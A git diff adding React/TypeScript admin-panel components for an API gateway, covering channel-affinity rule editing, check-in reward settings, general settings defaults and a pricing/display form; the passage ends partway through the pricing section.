+                                  <span className='text-muted-foreground/30'>
+                                    ·
+                                  </span>
+                                )}
+                              </span>
+                            ))}
+                          {(rule.key_sources || []).length > 2 && (
+                            <span className='text-muted-foreground/50'>
+                              +{(rule.key_sources || []).length - 2}
+                            </span>
+                          )}
+                        </div>
+                      </TableCell>
+                      <TableCell>{rule.ttl_seconds || '-'}</TableCell>
+                      <TableCell>
+                        <StatusBadge
+                          label={
+                            rule.skip_retry_on_failure
+                              ? t('No Retry')
+                              : t('Retry')
+                          }
+                          variant={
+                            rule.skip_retry_on_failure ? 'danger' : 'neutral'
+                          }
+                          copyable={false}
+                        />
+                      </TableCell>
+                      <TableCell>
+                        {(() => {
+                          const scopeItems = [
+                            rule.include_using_group && t('Group'),
+                            rule.include_model_name && t('Model'),
+                            rule.include_rule_name && t('Rule'),
+                          ].filter(Boolean) as string[]
+                          if (scopeItems.length === 0) return '-'
+                          return (
+                            <div className='text-muted-foreground flex items-center gap-1.5 text-xs font-medium'>
+                              <span
+                                className='size-1.5 shrink-0 rounded-full bg-slate-400'
+                                aria-hidden='true'
+                              />
+                              {scopeItems.map((item, idx, arr) => (
+                                <span
+                                  key={idx}
+                                  className='flex items-center gap-1.5'
+                                >
+                                  {item}
+                                  {idx < arr.length - 1 && (
+                                    <span className='text-muted-foreground/30'>
+                                      ·
+                                    </span>
+                                  )}
+                                </span>
+                              ))}
+                            </div>
+                          )
+                        })()}
+                      </TableCell>
+                      <TableCell>
+                        {rule.include_rule_name && cacheStats?.by_rule_name
+                          ? cacheStats.by_rule_name[rule.name] || 0
+                          : 'N/A'}
+                      </TableCell>
+                      <TableCell className='text-right'>
+                        <div className='flex justify-end gap-1'>
+                          {rule.include_rule_name && (
+                            <Button
+                              variant='ghost'
+                              size='icon'
+                              className='h-7 w-7'
+                              onClick={() => setClearRuleName(rule.name)}
+                              title={t('Clear cache for this rule')}
+                            >
+                              <X className='h-3 w-3' />
+                            </Button>
+                          )}
+                          <Button
+                            variant='ghost'
+                            size='icon'
+                            className='h-7 w-7'
+                            onClick={() => {
+                              setEditingRule(rule)
+                              setRuleTemplateKey(null)
+                              setRuleEditorOpen(true)
+                            }}
+                          >
+                            <Edit className='h-3 w-3' />
+                          </Button>
+                          <Button
+                            variant='ghost'
+                            size='icon'
+                            className='h-7 w-7'
+                            onClick={() => handleDeleteRule(idx)}
+                          >
+                            <Trash2 className='h-3 w-3' />
+                          </Button>
+                        </div>
+                      </TableCell>
+                    </TableRow>
+                  ))
+                )}
+              </TableBody>
+            </Table>
+          </div>
+        ) : (
+          <div className='grid gap-1.5'>
+            <Label>{t('Rules JSON')}</Label>
+            <Textarea
+              className='min-h-[300px] font-mono text-xs'
+              value={jsonText}
+              onChange={(e) => setJsonText(e.target.value)}
+            />
+          </div>
+        )}
+      </SettingsSection>
+
+      <RuleEditorDialog
+        open={ruleEditorOpen}
+        onOpenChange={setRuleEditorOpen}
+        rule={editingRule}
+        onSave={handleRuleSave}
+        templateKey={ruleTemplateKey}
+      />
+
+      <ConfirmDialog
+        open={clearAllDialogOpen}
+        onOpenChange={setClearAllDialogOpen}
+        title={t('Confirm clearing all channel affinity cache')}
+        desc={t(
+          'This will delete all channel affinity cache entries still in memory.'
+        )}
+        handleConfirm={handleClearAll}
+        destructive
+      />
+
+      {clearRuleName !== null && (
+        <ConfirmDialog
+          open
+          onOpenChange={(v) => !v && setClearRuleName(null)}
+          title={t('Confirm clearing cache for this rule')}
+          desc={`${t('Rule')}: ${clearRuleName}`}
+          handleConfirm={handleClearRule}
+          destructive
+        />
+      )}
+
+      <ConfirmDialog
+        open={fillTemplateDialogOpen}
+        onOpenChange={setFillTemplateDialogOpen}
+        title={t('Fill Codex CLI / Claude CLI Templates')}
+        desc={t(
+          'This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.'
+        )}
+        handleConfirm={appendCliTemplates}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/channel-affinity/rule-editor-dialog.tsx b/new-api/web/default/src/features/system-settings/general/channel-affinity/rule-editor-dialog.tsx
new file mode 100644
index 0000000..b5c014d
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/channel-affinity/rule-editor-dialog.tsx
@@ -0,0 +1,429 @@
+import { useEffect, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { RULE_TEMPLATES } from './constants'
+import type { AffinityRule, KeySource } from './types'
+
+const KEY_SOURCE_TYPES = ['context_int', 'context_string', 'gjson'] as const
+
+const CONTEXT_KEY_PRESETS = [
+  'id',
+  'token_id',
+  'token_key',
+  'token_group',
+  'group',
+  'username',
+  'user_group',
+  'user_email',
+  'specific_channel_id',
+]
+
+interface RuleFormValues {
+  name: string
+  model_regex_text: string
+  path_regex_text: string
+  user_agent_include_text: string
+  value_regex: string
+  ttl_seconds: number
+  skip_retry_on_failure: boolean
+  include_using_group: boolean
+  include_model_name: boolean
+  include_rule_name: boolean
+  param_override_template_json: string
+}
+
+function normalizeStringList(text: string): string[] {
+  return text
+    .split('\n')
+    .map((s) => s.trim())
+    .filter((s) => s.length > 0)
+}
+
+function normalizeKeySource(src: Partial<KeySource>): KeySource {
+  const type = (src?.type || 'gjson') as KeySource['type']
+  if (type === 'gjson') return { type, key: '', path: src?.path || '' }
+  return { type, key: src?.key || '', path: '' }
+}
+
+interface Props {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  rule: AffinityRule | null
+  onSave: (rule: AffinityRule) => void
+  templateKey?: string | null
+}
+
+export function RuleEditorDialog(props: Props) {
+  const { t } = useTranslation()
+  const isEdit = !!props.rule?.name
+  const [keySources, setKeySources] = useState<KeySource[]>([
+    { type: 'gjson', path: '' },
+  ])
+  const [advancedOpen, setAdvancedOpen] = useState(false)
+
+  const form = useForm<RuleFormValues>({
+    defaultValues: {
+      name: '',
+      model_regex_text: '',
+      path_regex_text: '',
+      user_agent_include_text: '',
+      value_regex: '',
+      ttl_seconds: 0,
+      skip_retry_on_failure: false,
+      include_using_group: true,
+      include_model_name: false,
+      include_rule_name: true,
+      param_override_template_json: '',
+    },
+  })
+
+  const resetFromRule = (r: Partial<AffinityRule>) => {
+    form.reset({
+      name: r.name || '',
+      model_regex_text: (r.model_regex || []).join('\n'),
+      path_regex_text: (r.path_regex || []).join('\n'),
+      user_agent_include_text: (r.user_agent_include || []).join('\n'),
+      value_regex: r.value_regex || '',
+      ttl_seconds: r.ttl_seconds || 0,
+      skip_retry_on_failure: !!r.skip_retry_on_failure,
+      include_using_group: r.include_using_group ?? true,
+      include_model_name: !!r.include_model_name,
+      include_rule_name: r.include_rule_name ?? true,
+      param_override_template_json: r.param_override_template
+        ? JSON.stringify(r.param_override_template, null, 2)
+        : '',
+    })
+    const sources = (r.key_sources || []).map(normalizeKeySource)
+    setKeySources(sources.length > 0 ? sources : [{ type: 'gjson', path: '' }])
+    if (r.param_override_template) setAdvancedOpen(true)
+  }
+
+  useEffect(() => {
+    if (!props.open) return
+
+    if (props.rule) {
+      resetFromRule(props.rule)
+    } else if (props.templateKey && RULE_TEMPLATES[props.templateKey]) {
+      resetFromRule(RULE_TEMPLATES[props.templateKey])
+    } else {
+      form.reset({
+        name: '',
+        model_regex_text: '',
+        path_regex_text: '',
+        user_agent_include_text: '',
+        value_regex: '',
+        ttl_seconds: 0,
+        skip_retry_on_failure: false,
+        include_using_group: true,
+        include_model_name: false,
+        include_rule_name: true,
+        param_override_template_json: '',
+      })
+      setKeySources([{ type: 'gjson', path: '' }])
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [props.open, props.rule, props.templateKey])
+
+  const handleSave = (values: RuleFormValues) => {
+    const modelRegex = normalizeStringList(values.model_regex_text)
+    if (modelRegex.length === 0) {
+      toast.error(t('At least one model regex pattern is required'))
+      return
+    }
+
+    const validKeySources = keySources
+      .map(normalizeKeySource)
+      .filter((s) => s.type && (s.type === 'gjson' ? s.path : s.key))
+    if (validKeySources.length === 0) {
+      toast.error(t('At least one valid key source is required'))
+      return
+    }
+
+    let paramTemplate: Record<string, unknown> | null = null
+    if (values.param_override_template_json.trim()) {
+      try {
+        const parsed = JSON.parse(values.param_override_template_json)
+        if (
+          typeof parsed !== 'object' ||
+          Array.isArray(parsed) ||
+          parsed === null
+        ) {
+          toast.error(t('Parameter override template must be a JSON object'))
+          return
+        }
+        paramTemplate = parsed
+      } catch {
+        toast.error(t('Invalid JSON in parameter override template'))
+        return
+      }
+    }
+
+    const rule: AffinityRule = {
+      id: props.rule?.id,
+      name: values.name.trim(),
+      model_regex: modelRegex,
+      path_regex: normalizeStringList(values.path_regex_text),
+      user_agent_include: normalizeStringList(values.user_agent_include_text),
+      key_sources: validKeySources,
+      value_regex: values.value_regex.trim(),
+      ttl_seconds: Number(values.ttl_seconds || 0),
+      skip_retry_on_failure: values.skip_retry_on_failure,
+      include_using_group: values.include_using_group,
+      include_model_name: values.include_model_name,
+      include_rule_name: values.include_rule_name,
+      param_override_template: paramTemplate,
+    }
+
+    props.onSave(rule)
+    props.onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={props.open} onOpenChange={props.onOpenChange}>
+      <DialogContent className='max-h-[85vh] max-w-2xl overflow-y-auto'>
+        <DialogHeader>
+          <DialogTitle>{isEdit ? t('Edit Rule') : t('Add Rule')}</DialogTitle>
+        </DialogHeader>
+
+        <form onSubmit={form.handleSubmit(handleSave)} className='space-y-4'>
+          <div className='grid gap-1.5'>
+            <Label>{t('Name')} *</Label>
+            <Input
+              placeholder='prefer-by-conversation-id'
+              {...form.register('name', { required: true })}
+            />
+          </div>
+
+          <div className='grid grid-cols-2 gap-3'>
+            <div className='grid gap-1.5'>
+              <Label>{t('Model Regex (one per line)')} *</Label>
+              <Textarea
+                rows={4}
+                placeholder={'^gpt-4o.*$\n^claude-3.*$'}
+                {...form.register('model_regex_text', { required: true })}
+              />
+            </div>
+            <div className='grid gap-1.5'>
+              <Label>{t('Path Regex (one per line)')}</Label>
+              <Textarea
+                rows={4}
+                placeholder='/v1/chat/completions'
+                {...form.register('path_regex_text')}
+              />
+            </div>
+          </div>
+
+          <div className='flex items-center gap-2'>
+            <Switch
+              checked={form.watch('skip_retry_on_failure')}
+              onCheckedChange={(v) => form.setValue('skip_retry_on_failure', v)}
+            />
+            <Label>{t('Skip retry on failure')}</Label>
+          </div>
+
+          <Separator />
+
+          {/* Key Sources */}
+          <div>
+            <div className='mb-2 flex items-center justify-between'>
+              <Label>{t('Key Sources')}</Label>
+              <Button
+                type='button'
+                variant='outline'
+                size='sm'
+                onClick={() =>
+                  setKeySources((prev) => [
+                    ...prev,
+                    { type: 'gjson', path: '' },
+                  ])
+                }
+              >
+                <Plus className='mr-1 h-3 w-3' />
+                {t('Add')}
+              </Button>
+            </div>
+            <p className='text-muted-foreground mb-2 text-xs'>
+              {t('Common Keys')}: {CONTEXT_KEY_PRESETS.join(', ')}
+            </p>
+            <div className='space-y-2'>
+              {keySources.map((src, idx) => (
+                <div key={idx} className='flex items-center gap-2'>
+                  <Select
+                    value={src.type}
+                    onValueChange={(v: KeySource['type']) => {
+                      const next = [...keySources]
+                      next[idx] = normalizeKeySource({ ...src, type: v })
+                      setKeySources(next)
+                    }}
+                  >
+                    <SelectTrigger className='w-[160px]'>
+                      <SelectValue />
+                    </SelectTrigger>
+                    <SelectContent>
+                      {KEY_SOURCE_TYPES.map((t) => (
+                        <SelectItem key={t} value={t}>
+                          {t}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                  <Input
+                    className='flex-1'
+                    placeholder={
+                      src.type === 'gjson'
+                        ? 'metadata.conversation_id'
+                        : 'user_id'
+                    }
+                    value={
+                      src.type === 'gjson' ? src.path || '' : src.key || ''
+                    }
+                    onChange={(e) => {
+                      const next = [...keySources]
+                      if (src.type === 'gjson') {
+                        next[idx] = { ...src, path: e.target.value }
+                      } else {
+                        next[idx] = { ...src, key: e.target.value }
+                      }
+                      setKeySources(next)
+                    }}
+                  />
+                  <Button
+                    type='button'
+                    variant='ghost'
+                    size='icon'
+                    onClick={() =>
+                      setKeySources((prev) => prev.filter((_, i) => i !== idx))
+                    }
+                  >
+                    <Trash2 className='h-4 w-4' />
+                  </Button>
+                </div>
+              ))}
+            </div>
+          </div>
+
+          <Separator />
+
+          {/* Advanced */}
+          <Collapsible open={advancedOpen} onOpenChange={setAdvancedOpen}>
+            <CollapsibleTrigger asChild>
+              <Button
+                type='button'
+                variant='ghost'
+                className='w-full justify-start'
+              >
+                {advancedOpen ? '▼' : '▶'} {t('Advanced Settings')}
+              </Button>
+            </CollapsibleTrigger>
+            <CollapsibleContent className='space-y-3 pt-2'>
+              <div className='grid gap-1.5'>
+                <Label>{t('User-Agent include (one per line)')}</Label>
+                <Textarea
+                  rows={3}
+                  placeholder='curl&#10;PostmanRuntime'
+                  {...form.register('user_agent_include_text')}
+                />
+              </div>
+
+              <div className='grid grid-cols-2 gap-3'>
+                <div className='grid gap-1.5'>
+                  <Label>{t('Value Regex')}</Label>
+                  <Input
+                    placeholder='^[-0-9A-Za-z._:]{1,128}$'
+                    {...form.register('value_regex')}
+                  />
+                </div>
+                <div className='grid gap-1.5'>
+                  <Label>{t('TTL (seconds, 0 = default)')}</Label>
+                  <Input
+                    type='number'
+                    min={0}
+                    {...form.register('ttl_seconds')}
+                  />
+                </div>
+              </div>
+
+              <div className='grid gap-1.5'>
+                <Label>{t('Parameter Override Template (JSON)')}</Label>
+                <Textarea
+                  rows={5}
+                  placeholder='{"operations": [...]}'
+                  {...form.register('param_override_template_json')}
+                  className='font-mono text-xs'
+                />
+              </div>
+
+              <div className='grid grid-cols-3 gap-3'>
+                <div className='flex items-center gap-2'>
+                  <Switch
+                    checked={form.watch('include_using_group')}
+                    onCheckedChange={(v) =>
+                      form.setValue('include_using_group', v)
+                    }
+                  />
+                  <Label className='text-xs'>{t('Include Group')}</Label>
+                </div>
+                <div className='flex items-center gap-2'>
+                  <Switch
+                    checked={form.watch('include_model_name')}
+                    onCheckedChange={(v) =>
+                      form.setValue('include_model_name', v)
+                    }
+                  />
+                  <Label className='text-xs'>{t('Include Model')}</Label>
+                </div>
+                <div className='flex items-center gap-2'>
+                  <Switch
+                    checked={form.watch('include_rule_name')}
+                    onCheckedChange={(v) =>
+                      form.setValue('include_rule_name', v)
+                    }
+                  />
+                  <Label className='text-xs'>{t('Include Rule Name')}</Label>
+                </div>
+              </div>
+            </CollapsibleContent>
+          </Collapsible>
+
+          <DialogFooter>
+            <Button
+              type='button'
+              variant='outline'
+              onClick={() => props.onOpenChange(false)}
+            >
+              {t('Cancel')}
+            </Button>
+            <Button type='submit'>{t('Save')}</Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/channel-affinity/types.ts b/new-api/web/default/src/features/system-settings/general/channel-affinity/types.ts
new file mode 100644
index 0000000..6b9561d
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/channel-affinity/types.ts
@@ -0,0 +1,38 @@
+export interface KeySource {
+  type: 'context_int' | 'context_string' | 'gjson'
+  key?: string
+  path?: string
+}
+
+export interface AffinityRule {
+  id?: number
+  name: string
+  model_regex: string[]
+  path_regex: string[]
+  user_agent_include?: string[]
+  key_sources: KeySource[]
+  value_regex?: string
+  ttl_seconds: number
+  skip_retry_on_failure: boolean
+  include_using_group: boolean
+  include_model_name: boolean
+  include_rule_name: boolean
+  param_override_template?: Record<string, unknown> | null
+}
+
+export interface CacheStats {
+  enabled: boolean
+  total: number
+  unknown: number
+  by_rule_name: Record<string, number>
+  cache_capacity: number
+  cache_algo: string
+}
+
+export interface ChannelAffinitySettings {
+  'channel_affinity_setting.enabled': boolean
+  'channel_affinity_setting.switch_on_success': boolean
+  'channel_affinity_setting.max_entries': number
+  'channel_affinity_setting.default_ttl_seconds': number
+  'channel_affinity_setting.rules': string
+}
diff --git a/new-api/web/default/src/features/system-settings/general/checkin-settings-section.tsx b/new-api/web/default/src/features/system-settings/general/checkin-settings-section.tsx
new file mode 100644
index 0000000..c6f6e73
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/checkin-settings-section.tsx
@@ -0,0 +1,186 @@
+import { z } from 'zod'
+import { useForm, type Resolver } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const schema = z.object({
+  enabled: z.boolean(),
+  minQuota: z.coerce.number().int().min(0),
+  maxQuota: z.coerce.number().int().min(0),
+})
+
+type Values = z.infer<typeof schema>
+
+export function CheckinSettingsSection({
+  defaultValues,
+}: {
+  defaultValues: {
+    enabled: boolean
+    minQuota: number
+    maxQuota: number
+  }
+}) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm<Values>({
+    resolver: zodResolver(schema) as unknown as Resolver<Values>,
+    defaultValues: {
+      enabled: defaultValues.enabled,
+      minQuota: defaultValues.minQuota,
+      maxQuota: defaultValues.maxQuota,
+    },
+  })
+
+  const { isDirty, isSubmitting } = form.formState
+  const enabled = form.watch('enabled')
+
+  async function onSubmit(values: Values) {
+    const updates: Array<{ key: string; value: string }> = []
+
+    if (values.enabled !== defaultValues.enabled) {
+      updates.push({
+        key: 'checkin_setting.enabled',
+        value: String(values.enabled),
+      })
+    }
+
+    if (values.minQuota !== defaultValues.minQuota) {
+      updates.push({
+        key: 'checkin_setting.min_quota',
+        value: String(values.minQuota),
+      })
+    }
+
+    if (values.maxQuota !== defaultValues.maxQuota) {
+      updates.push({
+        key: 'checkin_setting.max_quota',
+        value: String(values.maxQuota),
+      })
+    }
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+
+    form.reset(values)
+  }
+
+  return (
+    <SettingsSection
+      title={t('Check-in Settings')}
+      description={t('Configure daily check-in rewards for users')}
+    >
+      <Form {...form}>
+        <form
+          onSubmit={form.handleSubmit(onSubmit)}
+          autoComplete='off'
+          className='space-y-6'
+        >
+          <FormField
+            control={form.control}
+            name='enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable check-in feature')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Allow users to check in daily for random quota rewards'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                    disabled={updateOption.isPending || isSubmitting}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          {enabled && (
+            <div className='grid gap-6 sm:grid-cols-2'>
+              <FormField
+                control={form.control}
+                name='minQuota'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Minimum check-in quota')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        min={0}
+                        placeholder={t('1000')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Minimum quota amount awarded for check-in')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='maxQuota'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Maximum check-in quota')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        min={0}
+                        placeholder={t('10000')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Maximum quota amount awarded for check-in')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+          )}
+
+          <Button
+            type='submit'
+            disabled={!isDirty || updateOption.isPending || isSubmitting}
+          >
+            {updateOption.isPending || isSubmitting
+              ? t('Saving...')
+              : t('Save check-in settings')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/index.tsx b/new-api/web/default/src/features/system-settings/general/index.tsx
new file mode 100644
index 0000000..054a3f8
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/index.tsx
@@ -0,0 +1,89 @@
+import { useParams } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { parseCurrencyDisplayType } from '@/lib/currency'
+import { useSystemOptions, getOptionValue } from '../hooks/use-system-options'
+import type { GeneralSettings } from '../types'
+import {
+  GENERAL_DEFAULT_SECTION,
+  getGeneralSectionContent,
+} from './section-registry.tsx'
+
+const defaultGeneralSettings: GeneralSettings = {
+  'theme.frontend': 'default',
+  Notice: '',
+  SystemName: 'New API',
+  Logo: '',
+  Footer: '',
+  About: '',
+  HomePageContent: '',
+  ServerAddress: '',
+  'legal.user_agreement': '',
+  'legal.privacy_policy': '',
+  QuotaForNewUser: 0,
+  PreConsumedQuota: 0,
+  QuotaForInviter: 0,
+  QuotaForInvitee: 0,
+  TopUpLink: '',
+  'general_setting.docs_link': '',
+  'quota_setting.enable_free_model_pre_consume': true,
+  QuotaPerUnit: 500000,
+  USDExchangeRate: 7,
+  'general_setting.quota_display_type': 'USD',
+  'general_setting.custom_currency_symbol': '¤',
+  'general_setting.custom_currency_exchange_rate': 1,
+  RetryTimes: 0,
+  DisplayInCurrencyEnabled: true,
+  DisplayTokenStatEnabled: true,
+  DefaultCollapseSidebar: false,
+  DemoSiteEnabled: false,
+  SelfUseModeEnabled: false,
+  'checkin_setting.enabled': false,
+  'checkin_setting.min_quota': 1000,
+  'checkin_setting.max_quota': 10000,
+  'channel_affinity_setting.enabled': false,
+  'channel_affinity_setting.switch_on_success': true,
+  'channel_affinity_setting.max_entries': 100000,
+  'channel_affinity_setting.default_ttl_seconds': 3600,
+  'channel_affinity_setting.rules': '[]',
+}
+
+export function GeneralSettings() {
+  const { t } = useTranslation()
+  const { data, isLoading } = useSystemOptions()
+  const params = useParams({
+    from: '/_authenticated/system-settings/general/$section',
+  })
+
+  if (isLoading) {
+    return (
+      <div className='flex items-center justify-center py-12'>
+        <div className='text-muted-foreground'>{t('Loading settings...')}</div>
+      </div>
+    )
+  }
+
+  const settings = getOptionValue(data?.data, defaultGeneralSettings)
+  const quotaDisplayType = parseCurrencyDisplayType(
+    settings['general_setting.quota_display_type']
+  )
+  const activeSection = (params?.section ?? GENERAL_DEFAULT_SECTION) as
+    | 'system-info'
+    | 'quota'
+    | 'pricing'
+    | 'checkin'
+    | 'behavior'
+    | 'channel-affinity'
+  const sectionContent = getGeneralSectionContent(
+    activeSection,
+    settings,
+    quotaDisplayType
+  )
+
+  return (
+    <div className='flex h-full w-full flex-1 flex-col'>
+      <div className='faded-bottom h-full w-full overflow-y-auto scroll-smooth pe-4 pb-12'>
+        <div className='space-y-4'>{sectionContent}</div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/general/pricing-section.tsx b/new-api/web/default/src/features/system-settings/general/pricing-section.tsx
new file mode 100644
index 0000000..9e471f4
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/general/pricing-section.tsx
@@ -0,0 +1,362 @@
+import * as z from 'zod'
+import type { Resolver } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { RotateCcw } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { DEFAULT_CURRENCY_CONFIG } from '@/stores/system-config-store'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import { FormDirtyIndicator } from '../components/form-dirty-indicator'
+import { FormNavigationGuard } from '../components/form-navigation-guard'
+import { SettingsSection } from '../components/settings-section'
+import { useSettingsForm } from '../hooks/use-settings-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const createPricingSchema = (t: (key: string) => string) =>
+  z
+    .object({
+      QuotaPerUnit: z.coerce.number().min(0, t('Value must be at least 0')),
+      USDExchangeRate: z.coerce
+        .number()
+        .min(0.0001, t('Exchange rate must be greater than 0')),
+      DisplayInCurrencyEnabled: z.boolean(),
+      DisplayTokenStatEnabled: z.boolean(),
+      general_setting: z.object({
+        quota_display_type: z.enum(['USD', 'CNY', 'TOKENS', 'CUSTOM']),
+        custom_currency_symbol: z.string().max(8).optional(),
+        custom_currency_exchange_rate: z.coerce
+          .number()
+          .min(0.0001, t('Exchange rate must be greater than 0'))
+          .optional(),
+      }),
+    })
+    .superRefine((data, ctx) => {
+      const displayType = data.general_setting.quota_display_type
+
+      if (displayType === 'CUSTOM') {
+        if (!data.general_setting.custom_currency_symbol?.trim()) {
+          ctx.addIssue({
+            code: z.ZodIssueCode.custom,
+            path: ['general_setting', 'custom_currency_symbol'],
+            message: t('Custom currency symbol is required'),
+          })
+        }
+
+        if (data.general_setting.custom_currency_exchange_rate == null) {
+          ctx.addIssue({
+            code: z.ZodIssueCode.custom,
+            path: ['general_setting', 'custom_currency_exchange_rate'],
+            message: t('Exchange rate is required'),
+          })
+        }
+      }
+    })
+
+type PricingFormValues = z.infer<ReturnType<typeof createPricingSchema>>
+
+type PricingSectionProps = {
+  defaultValues: PricingFormValues
+}
+
+export function PricingSection({ defaultValues }: PricingSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const pricingSchema = createPricingSchema(t)
+
+  const { form, handleSubmit, handleReset, isDirty, isSubmitting } =
+    useSettingsForm<PricingFormValues>({
+      resolver: zodResolver(pricingSchema) as Resolver<
+        PricingFormValues,
+        unknown,
+        PricingFormValues
+      >,
+      defaultValues,
+      onSubmit: async (_data, changedFields) => {
+        for (const [key, value] of Object.entries(changedFields)) {
+          if (value === undefined || value === null) continue
+          if (typeof value === 'object') continue
+
+          let serialized: string | boolean = value as string | boolean
+
+          if (typeof value === 'boolean') {
+            serialized = String(value)
+          } else if (typeof value === 'number') {
+            serialized = Number.isFinite(value) ? String(value) : '0'
+          }
+
+          await updateOption.mutateAsync({
+            key,
+            value: serialized,
+          })
+        }
+      },
+    })
+
+  const displayType = form.watch('general_setting.quota_display_type') ?? 'USD'
+  const displayInCurrencyEnabled = form.watch('DisplayInCurrencyEnabled')
+  const showTokensOnlyOption = displayType === 'TOKENS'
+  const showQuotaPerUnit =
+    displayType === 'TOKENS' ||
+    defaultValues.QuotaPerUnit !== DEFAULT_CURRENCY_CONFIG.quotaPerUnit
+  const showDisplayInCurrencyOption = displayInCurrencyEnabled === false
+
+  return (
+    <>
+      <FormNavigationGuard when={isDirty} />
+
+      <SettingsSection
+        title={t('Pricing & Display')}
+        description={t('Configure pricing model and display options')}
+      >
+        <Form {...form}>
+          <form onSubmit={handleSubmit} className='space-y-6'>
+            <FormDirtyIndicator isDirty={isDirty} />
+            {showQuotaPerUnit && (
+              <FormField
+                control={form.control}
+                name='QuotaPerUnit'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Quota Per Unit')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        step='0.01'
+                        value={field.value as number}
+                        disabled
+                        name={field.name}
+                        onBlur={field.onBlur}
+                        ref={field.ref}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Number of tokens per unit quota')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            )}
+
+            <FormField
+              control={form.control}
+              name='general_setting.quota_display_type'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Display Mode')}</FormLabel>
+                  <Select value={field.value} onValueChange={field.onChange}>
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue placeholder={t('Select display mode')} />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      <SelectItem value='USD'>{t('USD')}</SelectItem>
+                      <SelectItem value='CNY'>{t('CNY')}</SelectItem>
+                      <SelectItem value='CUSTOM'>
+                        {t('Custom Currency')}
+                      </SelectItem>
+                      {showTokensOnlyOption && (
+                        <SelectItem value='TOKENS'>
+                          {t('Tokens Only')}
+                        </SelectItem>
+                      )}
+                    </SelectContent>
+                  </Select>
+                  <FormDescription>
+                    {t('Choose how quota values are shown to users')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            {displayType !== 'TOKENS' && (
+              <FormField
+                control={form.control}
+                name='USDExchangeRate'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>
+                      {displayType === 'CNY'
+                        ? t('CNY per USD')
+                        : displayType === 'USD'
